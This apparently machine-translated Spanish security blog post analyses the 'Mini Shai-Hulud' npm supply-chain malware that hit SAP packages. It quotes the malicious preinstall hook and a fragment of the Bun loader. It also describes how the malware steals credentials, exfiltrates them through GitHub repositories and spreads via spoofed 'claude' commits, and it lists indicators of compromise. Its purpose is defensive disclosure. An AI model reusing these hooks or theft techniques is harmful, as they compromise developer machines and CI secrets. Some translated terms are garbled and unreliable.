Aikido

Mini Shai-Hulud ataca paquetes npm de SAP con un programa de robo de contraseñas basado en Bun

Escrito por
Raphael Silva

Una nueva vulnerabilidad en la cadena de suministro de npm está afectando al ecosistema de desarrolladores de SAP.

Los paquetes afectados que estamos rastreando hasta ahora son:

  • @cap-js/sqlite - v2.2.2
  • @cap-js/postgres - v2.2.2
  • @cap-js/db-service - v2.10.1
  • mbt@1.2.48

El patrón resulta familiar, pero también es un poco diferente: un paquete de confianza recibe un nuevo preinstall gancho, el gancho ejecuta un nuevo setup.mjs archivo, y ese cargador descarga el entorno de ejecución de JavaScript de Bun para ejecutar una carga útil ofuscada de gran tamaño denominada execution.js.

La carga útil es un marco de propagación y robo de credenciales de 11,7 MB. Recopila credenciales locales de desarrolladores, tokens de GitHub y npm, secretos de GitHub Actions y secretos en la nube de AWS, Azure, GCP y Kubernetes. A continuación, exfiltra los resultados cifrados a través de repositorios públicos de GitHub.

El malware nombra esos repositorios con una descripción predefinida:

Ha aparecido un mini Shai-Hulud

Qué Sucedió

Los paquetes comprometidos utilizan la ejecución del ciclo de vida de npm. Por lo que hemos observado hasta ahora, package.json se modificó para añadir:

"scripts": {
    "preinstall": "node setup.mjs"
}

Eso significa que el código malicioso se ejecuta automáticamente durante npm install, antes incluso de que se haya completado la instalación.

El paquete malicioso añade dos archivos:

  • setup.mjs
  • execution.js

El código del paquete normal sigue pareciendo el paquete legítimo de SAP. En el @cap-js/sqlite@2.2.2 En la muestra, los archivos normales coinciden perfectamente @cap-js/sqlite@2.2.1 byte a byte. El compromiso consiste en el gancho de instalación más los archivos de carga útil añadidos.

Punto de entrada probable

Una pista pública apunta a una posible causa: un token de npm expuesto en las compilaciones de las solicitudes de incorporación de cambios a través de CircleCI.

Esto coincide con lo que observamos en SAP/herramienta-de-compilación-MTA-en-la-nube. El 29 de abril, un borrador de relaciones públicas de corta duración titulado característica: aceleración de CI se abrió desde gruposbftechrecruiter/harkonnen-navigator-149. La solicitud de incorporación de cambios se cerró en cuestión de minutos y, posteriormente, se realizó un push forzado a la rama, lo que dejó vacío el historial de cambios actual de GitHub.

CircleCI aún conservaba lo esencial. Una versión de relaciones públicas basada en pull/1223 se ha revisado la confirmación a959014aa7b7fc37a9b5730c951776e7db2920a6, que incorporó una cargadora de pan en bin/config.mjs, añadió una carga útil ofuscada en bin/mbt.js, y cambié el comando de prueba por:

node ./bin/config.mjs && node ./bin/mbt

Esa prueba se llevó a cabo en una campaña de relaciones públicas en la que CircleCI reveló secretos del proyecto que habían sido ocultados, entre ellos CLOUD_MTA_BOT_NPM_TOKEN, CLOUD_MTA_BOT_GITHUB_TOKEN, tokens OIDC de CircleCI, credenciales de Docker Hub, credenciales de Cloud Foundry y otras variables relacionadas con las versiones.

Los registros también mostraban advertencias de Octokit sobre PUBLICACIÓN https://api.github.com/user/repos, lo que coincide con el comportamiento de exfiltración del malware en GitHub.

Esto convierte a la compilación de la solicitud de incorporación de cambios de CircleCI en la principal pista sobre el robo inicial de credenciales.

Cómo funciona el malware

La primera etapa, setup.mjs, es un programa de inicio de Bun. Comprueba el sistema operativo y la arquitectura, y descarga Bun 1.3.13 desde GitHub cuando sea necesario, extrae el archivo binario y utiliza Bun para ejecutarlo execution.js.

const BUN_VERSION = '1.3.13';
const ENTRY_SCRIPT = 'execution.js';
const url = `https://github.com/oven-sh/bun/releases/download/bun-v${BUN_VERSION}/${asset}.zip`;
execFileSync(binPath, [entryScriptPath], { stdio: 'inherit', cwd: SCRIPT_DIR });

La segunda etapa, execution.js, es una única carga útil grande y ofuscada. Utiliza una capa personalizada de codificación de cadenas denominada ctf-scramble-v2, comprueba si se está ejecutando en CI, se cierra si la configuración regional es rusa y se ejecuta en modo daemon en máquinas que no sean de CI.

Lo que roba

La carga útil está diseñada para afectar tanto a los ordenadores portátiles de los desarrolladores como a los servidores de CI/CD.

Su objetivo es recopilar:

  • Los tokens de GitHub, incluida la salida de token de autenticación gh
  • tokens de npm de .npmrc
  • variables de entorno
  • Secretos de GitHub Actions
  • Identidad de AWS STS, secretos de Secrets Manager y parámetros de SSM
  • Suscripciones de Azure, nombres de Key Vault y valores de secretos de Key Vault
  • Identidad del proyecto de GCP y valores de Secret Manager
  • Tokens de cuentas de servicio de Kubernetes
  • Configuración de Claude, configuración de MCP, bases de datos de tokens de GCP, cachés de tokens de Azure, configuración de Signal, carteras de Electrum y archivos de configuración de VPN

La ruta de GitHub Actions resulta especialmente preocupante. La carga útil incluye un programa auxiliar de Python integrado que busca /proc para el Corredor.Trabajador proceso, lee su memoria y extrae estructuras secretas enmascaradas del ejecutor.

Palabra clave: Exfiltración y propagación en GitHub

El malware utiliza GitHub como canal de exfiltración.

La nueva palabra clave de propagación es:

Ay, ¿qué está pasando con GitHub?

El malware busca esta cadena en las confirmaciones de GitHub y utiliza los mensajes de confirmación que coinciden como punto de entrega de tokens. Los mensajes de confirmación que coinciden OhNoWhatsGoingOnWithGitHub:<base64> se descodifican en tokens de GitHub y se comprueba si tienen acceso al repositorio.

Cuando el malware consigue crear un repositorio, utiliza nombres aleatorios relacionados con Dune y establece la descripción del repositorio en:

Ha aparecido un mini Shai-Hulud

y guarda los archivos de resultados cifrados en:

results/results-<timestamp>-<counter>.json

Los datos se comprimen y se cifran antes de su grabación mediante AES-256-GCM, y la clave AES se envuelve con una clave RSA integrada.

Lógica de propagación

La carga útil contiene la lógica necesaria para su integración en los flujos de trabajo de desarrollo y lanzamiento.

En las muestras analizadas, el malware comprueba si hay automatizaciones de lanzamiento de GitHub Actions relacionadas con cap-js/cds-dbs. Si detecta un flujo de trabajo de lanzamiento en ese contexto de repositorio, puede modificar un archivo tar del paquete de la siguiente manera:

  • copiando la carga útil actual en execution.js
  • escritura setup.mjs
  • configuración scripts.preinstall = "node setup.mjs"
  • incrementar la versión del parche
  • reempaquetar el archivo tar

Además, intenta utilizar tokens robados de GitHub Actions para subir archivos a los repositorios:

  • .vscode/tasks.json
  • .vscode/setup.mjs
  • .claude/execution.js
  • .claude/setup.mjs
  • .claude/configuración.json

Esas confirmaciones utilizan:

tarea: actualizar las dependencias

con el autor:

claude <claude@users.noreply.github.com>

SAP como objetivo

Los paquetes en cuestión se integran en los flujos de trabajo habituales de desarrollo de SAP. @cap-js/sqlite, @cap-js/postgres, y @cap-js/db-service forman parte del ecosistema de bases de datos SAP CAP, mientras que mbt se utiliza en los flujos de trabajo de compilación de SAP Cloud MTA.

Esto hace que esta campaña tenga un número reducido de paquetes, pero un impacto potencialmente elevado. Es probable que estos paquetes se ejecuten en equipos de desarrolladores y entornos de integración continua (CI) que tengan acceso a GitHub, npm, credenciales de la nube y claves de implementación corporativas.

Detección y mitigación

Busca en los archivos de bloqueo, las cachés de paquetes, los registros de CI, los registros internos, los almacenes de artefactos y los equipos de los desarrolladores lo siguiente:

  • @cap-js/sqlite - v2.2.2
  • @cap-js/postgres - v2.2.2
  • @cap-js/db-service - v2.10.1
  • mbt@1.2.48
  • setup.mjs
  • execution.js
  • preinstall scripts en ejecución archivo setup.mjs
  • Bollo 1.3.13 descargas durante la instalación del paquete

Buscar en GitHub:

  • confirmar los resultados de la búsqueda para Ay, ¿qué está pasando con GitHub?: https://github.com/search?q=OhNoWhatsGoingOnWithGitHub&type=commits
  • repositorios con descripción Ha aparecido un mini Shai-Hulud
  • cambios que contengan Ay, ¿qué está pasando con GitHub?
  • cambios titulados tarea: actualizar las dependencias
  • cambios realizados por claude <claude@users.noreply.github.com>
  • inesperado .claude/ o .vscode/setup.mjs archivos
  • resultados/resultados-*.json archivos en repositorios públicos de nueva creación

Si se ha instalado algún paquete afectado, actualiza las claves secretas. No limites la actualización a los tokens de npm. La carga maliciosa afecta a GitHub, npm, proveedores de servicios en la nube, Kubernetes, claves secretas de integración continua (CI) y herramientas de desarrollo locales.

Cómo Aikido lo detecta

Si es usuario de Aikido, revise su feed central y filtre por problemas de malware. Esto aparecerá como un problema crítico de 100/100. Aikido realiza reescaneos cada noche, pero recomendamos activar un reescaneo manual ahora.

Si aún no es usuario de Aikido, puede crear una cuenta y conectar sus repositorios. Nuestra cobertura de malware está incluida en el plan gratuito, sin necesidad de tarjeta de crédito.

Para una cobertura más amplia en todo su equipo, el Endpoint Protection de Aikido le proporciona visibilidad y control sobre los paquetes de software instalados en los dispositivos de su equipo. Cubre extensiones de navegador, librerías de código, plugins de IDE y dependencias de compilación, todo en un solo lugar. Detenga el malware antes de que se instale.

Para protegerte en el futuro, te recomendamos Aikido Safe Chain (de código abierto). Safe Chain se integra en tu flujo de trabajo actual, interceptando los comandos npm, npx, yarn, pnpm y pnpx, y comprobando los paquetes con Aikido Intel antes de instalarlos.

Indicadores de Compromiso

Paquetes afectados:

  • @cap-js/sqlite - v2.2.2
  • @cap-js/postgres - v2.2.2
  • @cap-js/db-service - v2.10.1
  • mbt@1.2.48

Hashes de los archivos analizados @cap-js/sqlite@2.2.2 ejemplo:

  • setup.mjs: 4066781fa830224c8bbcc3aa005a396657f9c8f9016f9a64ad44a9d7f5f45e34
  • execution.js: 6f933d00b7d05678eb43c90963a80b8947c4ae6830182f89df31da9f568fea95
  • Herramienta de volcado de memoria integrada en GitHub Runner: 29ac906c8bd801dfe1cb39596197df49f80fff2270b3e7fbab52278c24e4f1a7

Cuerdas y marcadores:

  • Ha aparecido un mini Shai-Hulud
  • Ay, ¿qué está pasando con GitHub? (palabra clave de propagación / marcador de entrega secreta en GitHub)
  • ctf-scramble-v2
  • tmp.987654321.lock
  • tarea: actualizar las dependencias
  • claude@users.noreply.github.com

URL y puntos finales:

  • hxxps://github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/
  • hxxps://api.github[.]com/search/commits?q=OhNoWhatsGoingOnWithGitHub&sort=author-date&order=desc&per_page=50
  • hxxp://169.254.169.254
  • hxxp://169.254.170.2
  • hxxp://[fd00:ec2::254]

Compartir:

https://www.aikido.dev/blog/mini-shai-hulud-has-appeared

Empieza hoy, gratis.

Empieza gratis
Sin tarjeta

Suscríbase para recibir noticias sobre amenazas.

4.7/5
¿Cansado de los falsos positivos?

Prueba Aikido como otros 100k.
Empiece ahora
Obtenga un recorrido personalizado

Con la confianza de más de 100k equipos

Reservar ahora
Escanee su aplicación en busca de IDORs y rutas de ataque reales

Con la confianza de más de 100k equipos

Empezar a escanear
Vea cómo el pentesting de IA prueba su aplicación

Con la confianza de más de 100k equipos

Empezar a probar

Asegura tu plataforma ahora

Protege tu código, la nube y el entorno de ejecución en un único sistema central.
Encuentra y corrije vulnerabilidades de forma rápida y automática.

No se requiere tarjeta de crédito | Resultados del escaneo en 32 segundos.